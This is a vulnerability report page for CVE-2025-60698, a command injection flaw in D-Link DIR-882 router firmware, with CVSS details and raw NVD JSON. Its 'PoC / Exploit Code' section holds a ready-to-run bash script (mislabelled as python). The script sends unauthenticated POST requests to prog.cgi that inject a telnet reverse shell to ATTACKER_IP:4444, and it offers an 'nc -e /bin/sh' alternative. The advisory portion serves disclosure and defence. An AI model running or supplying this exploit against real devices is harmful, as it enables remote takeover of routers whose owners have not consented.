Security Vulnerability Report
中文
CVE-2025-60698 CVSS 7.3 HIGH

CVE-2025-60698

Published: 2025-11-13 18:15:54
Last Modified: 2025-11-17 12:28:54

Description

A command injection vulnerability exists in the D-Link DIR-882 Router firmware DIR882A1_FW102B02 within the `prog.cgi` and `rc` binaries. The `sub_432F60` function in `prog.cgi` stores user-supplied `SetSysLogSettings/IPAddress` values in NVRAM via `nvram_safe_set("SysLogRemote_IPAddress", ...)`. These values are later retrieved in the `sub_448DCC` function of `rc` using `nvram_safe_get` and concatenated into a shell command executed via `twsystem()` without any sanitization. An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary commands on the device through specially crafted HTTP requests to the router's web interface.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-882_firmware:1.02b02:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dir-882:a1:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DIR-882 固件版本 DIR882A1_FW102B02

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-60698 PoC - D-Link DIR-882 Command Injection # Target: D-Link DIR-882 Router (Firmware DIR882A1_FW102B02) # Vulnerability: Unauthenticated command injection via SetSysLogSettings/IPAddress TARGET_IP="192.168.0.1" PORT="80" # Payload: Inject command to create a reverse shell connection # Using telnet for simplicity - attacker should set up listener on ATTACKER_IP:4444 PAYLOAD=";telnet ATTACKER_IP 4444;" echo "[*] CVE-2025-60698 PoC - D-Link DIR-882 Command Injection" echo "[*] Target: $TARGET_IP" echo "[*] Sending malicious SysLog IPAddress payload..." # Send malicious HTTP POST request to prog.cgi curl -s -X POST "http://$TARGET_IP:$PORT/prog.cgi" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "SetSysLogSettings/IPAddress=$PAYLOAD" \ -i | head -n 5 echo "[+] Payload sent. Check your listener on ATTACKER_IP:4444" echo "[+] Alternative: Use nc for reverse shell: ;nc -e /bin/sh ATTACKER_IP 4444;" echo "[*] Testing with ping backdoor (DNS or ping test):" PAYLOAD2=";ping -c 1 ATTACKER_IP;" curl -s -X POST "http://$TARGET_IP:$PORT/prog.cgi" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "SetSysLogSettings/IPAddress=$PAYLOAD2"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60698", "sourceIdentifier": "[email protected]", "published": "2025-11-13T18:15:53.880", "lastModified": "2025-11-17T12:28:54.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability exists in the D-Link DIR-882 Router firmware DIR882A1_FW102B02 within the `prog.cgi` and `rc` binaries. The `sub_432F60` function in `prog.cgi` stores user-supplied `SetSysLogSettings/IPAddress` values in NVRAM via `nvram_safe_set(\"SysLogRemote_IPAddress\", ...)`. These values are later retrieved in the `sub_448DCC` function of `rc` using `nvram_safe_get` and concatenated into a shell command executed via `twsystem()` without any sanitization. An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary commands on the device through specially crafted HTTP requests to the router's web interface."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-882_firmware:1.02b02:*:*:*:*:*:*:*", "matchCriteriaId": "5D969AE6-54B1-4A8C-8A2D-8C8B0C3EF9B2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-882:a1:*:*:*:*:*:*:*", "matchCriteriaId": "90575122-CE47-42E5-BCE3-6444599B16B3"}]}]}], "references": [{"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/DLink/DLink-DIR-882/2.md", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/DLink/DLink-DIR-882/CVE-2025-60698.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.dlink.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.dlink.com/en/security-bulletin/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}